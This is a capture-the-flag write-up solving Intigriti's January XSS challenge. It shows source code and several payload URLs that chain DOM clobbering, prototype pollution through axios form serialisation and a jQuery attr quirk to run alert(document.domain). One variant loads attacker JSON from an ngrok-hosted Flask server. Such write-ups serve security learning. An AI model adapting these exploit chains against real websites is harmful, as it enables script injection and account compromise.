- Category: Web
- Impact: Medium
- Solves: 15
Pop the alert
!
The solution:
- Should work on the latest version of Chrome and FireFox;
- Should execute
alert(document.domain)
on this challenge domain; - Should leverage a cross site scripting vulnerability on this domain;
- Should not be self-XSS or related to MiTM attacks;
- Should NOT use another challenge on the intigriti.io domain.
For this new January challenge, we have at our disposal a name/search code repositories website:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Intigriti XSS Challenge</title>
<link rel="stylesheet" href="/static/css/main.css">
</head>
<body>
<h2>Hey <%- name %>,<br>Which repo are you looking for?</h2>
<form id="search"><input name="q" value="<%= search %>"></form><hr>
<img src="/static/img/loading.gif" class="loading" width="50px" hidden><br>
<img class="avatar" width="35%">
<p id="description"></p>
<iframe id="homepage" hidden></iframe>
<script src="/static/js/axios.min.js"></script>
<script src="/static/js/jquery-3.7.1.min.js"></script>
<script>
function search(name) { // unused variable
$("img.loading").attr("hidden", false);
axios.post("/search", $("#search").get(0), {"headers":{"Content-Type":"application/json"}}).then((d) => { // Problem
$("img.loading").attr("hidden", true);
const repo = d.data;
if (!repo.owner) { alert("Not found!"); return; };
$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
if (repo.homepage && repo.homepage.startsWith("https://")) { // Bypass
$("#homepage").attr({"src": repo.homepage, "hidden": false});
};
});
};
window.onload = () => {
const params = new URLSearchParams(location.search);
if (params.get("search")) { search(); }
$("#search").submit((e) => {
e.preventDefault(); search();
});
};
</script>
<br><a href="/static/source.zip">Get sources here</a>
</body>
</html>
And the server source code:
const createDOMPurify = require("dompurify");
const repos = require("./repos.json");
const { JSDOM } = require("jsdom");
const express = require("express");
const path = require("path");
const app = express(); // App config
app.set("view engine", "ejs");
app.set("view cache", false);
app.use(express.json());
const PORT = 3000;
const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);
app.use("/static", express.static(path.join(__dirname, "static"))); // Middlewares
app.get("/", (req, res) => { // Routes
if (!req.query.name) { res.render("index"); return; }
res.render("search", { name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }), search: req.query.search }); // Problem
});
app.post("/search", (req, res) => {
name = req.body.q;
repo = {};
for (let item of repos.items) {
if (item.full_name && item.full_name.includes(name)) { repo = item; break; }
}
res.json(repo);
});
app.listen(PORT, () => { console.log(`App listening on port ${PORT}!`) });
If we immerse ourself in the technologies used here we can quickly form a roadmap:
Since the SANITIZE_DOM
variable for the username is set to false
on the app.js
file, we can use the well-known DOM clobbering technique but without Reflected XSS nor server side prototype pollution.
We notice that we can clobber the <form id="search">
elements and so on.
Also the promise-based HTTP
library Axios
v1.6.2 do a POST /search
request to the server with the $("#search").get(0)
jQuery v3.7.1 on JSON
data getter, being suspicious.
Having scoured the source code, the different versions of the libraries used and known vulnerabilities, we can conclude that we have to take advantage of the web image instantiation within our malicious script code.
On a single payload with the attribute value=1
everything seems to work but if we change it to value=0
we get an interesting fateful TypeError
.
Delving deeper into the error, we understand that the attr
jQuery method is using a set
object that could let us apply any attribute with the prototype pollution:
http://localhost:3000/?search=0&name=
<form/id=search>
<input/name=q value=0>
<input/name=__proto__.owner value=0>
<input/name=__proto__.avatar_url value=x>
<input/name=__proto__.homepage value="https://">
</form>
Uncaught (in promise) TypeError: Cannot use 'in' operator to search for 'set' in 0
at attr (jquery-3.7.1.js:7900:20)
at access (jquery-3.7.1.js:3910:0)
at access (jquery-3.7.1.js:3890:0)
at jQuery.fn.init.attr (jquery-3.7.1.js:7800:10)
at ?search=0&name=<...:40:30
The problematic attr function here:
jQuery.extend( {
attr: function(elem, name, value) {
var ret, hooks, nType = elem.nodeType; debugger;
if (nType === 3 || nType === 8 || nType === 2) {
return;
}
if (typeof elem.getAttribute === "undefined") {
return jQuery.prop(elem, name, value);
}
if (nType !== 1 || !jQuery.isXMLDoc(elem)) {
hooks = jQuery.attrHooks[name.toLowerCase()];
}
if (value !== undefined) {
if (value === null) { // value = "0"
jQuery.removeAttr(elem, name); return;
}
if (hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined) { // hooks = "0" and will crash
return ret; // undefined
}
elem.setAttribute(name, value); // elem = <iframe id="homepage" src="https://"><html><head></head><body></body></html></iframe>
return value;
}
if (hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null) {
return ret;
}
ret = elem.getAttribute(name);
return ret == null ? undefined : ret;
},
);
We can then simply remind ourselves of the June Intigriti 2023
web challenge and reuse the srcdoc
(or other elements) attribute to make our final chaining XSS
alert:
http://localhost:3000/?search=0&name=
<form/id=search>
<input/name=__proto__.srcdoc[] value='<svg/onload=alert(document.domain)>'>
<input/name=__proto__.homepage value=https://>
<input/name=__proto__.owner value=0>
</form>
What was planned was using one of the links in the repos.json
file (starting with https://
like ratio
homepage) and deceiving lowercase sensitivity conversion to get a shortened alert
execution!
http://localhost:3000/?search=0&name=
<form/id=search>
<input/name=q value=ratio>
<input/name=__proto__.ONLOAD value=alert(document.domain)>
</form>
While the intended part was involving some documentElement
, namespaceURI
, baseURL
and addCombinator
tweaking:
http://localhost:3000/?search=0&name=
<form id=search>
<input name=__proto__.CLASS.dir value=parentNode>
<input name=__proto__.TAG.dir value=parentNode>
<input name=__proto__.baseURL value=https://ip.ngrok-free.app/?>
<input name=__proto__.selector value=img.loading>
<form>
<img name=documentElement>
With our Flask
server returning the following needed JSON
payload:
from flask import Flask, Response, request
@app.route("/", methods=["GET", "POST", "OPTIONS"])
def root() -> Response:
r = Response('{"owner":{"avatar_url":"javascript:alert(document.domain);"}}', content_type="application/json")
r.headers["Access-Control-Allow-Origin"] = r.headers["Allow-CSP-From"] = "*"
r.headers["Access-Control-Allow-Headers"] = "Content-Type"
return r
if __name__ == "__main__": app.run(debug=0, host="localhost", port=8e3) # ngrok http 8000 --region us
Or without any server
at all:
https://challenge-0124.intigriti.io/challenge?search=0&name=
<form id=search><img name=documentElement>
<input name=__proto__.selector value=img.loading>
<input name=__proto__.CLASS.dir value=previousSibling>
<input name=__proto__.owner.avatar_url value=javascript:alert(document.domain)>
</form>
Applying client verifications and a fairly strict Content-Security-Policy
would have limited the damage.
We are a little far from the usual real bug cases but the jQuery issue was invigorating to see.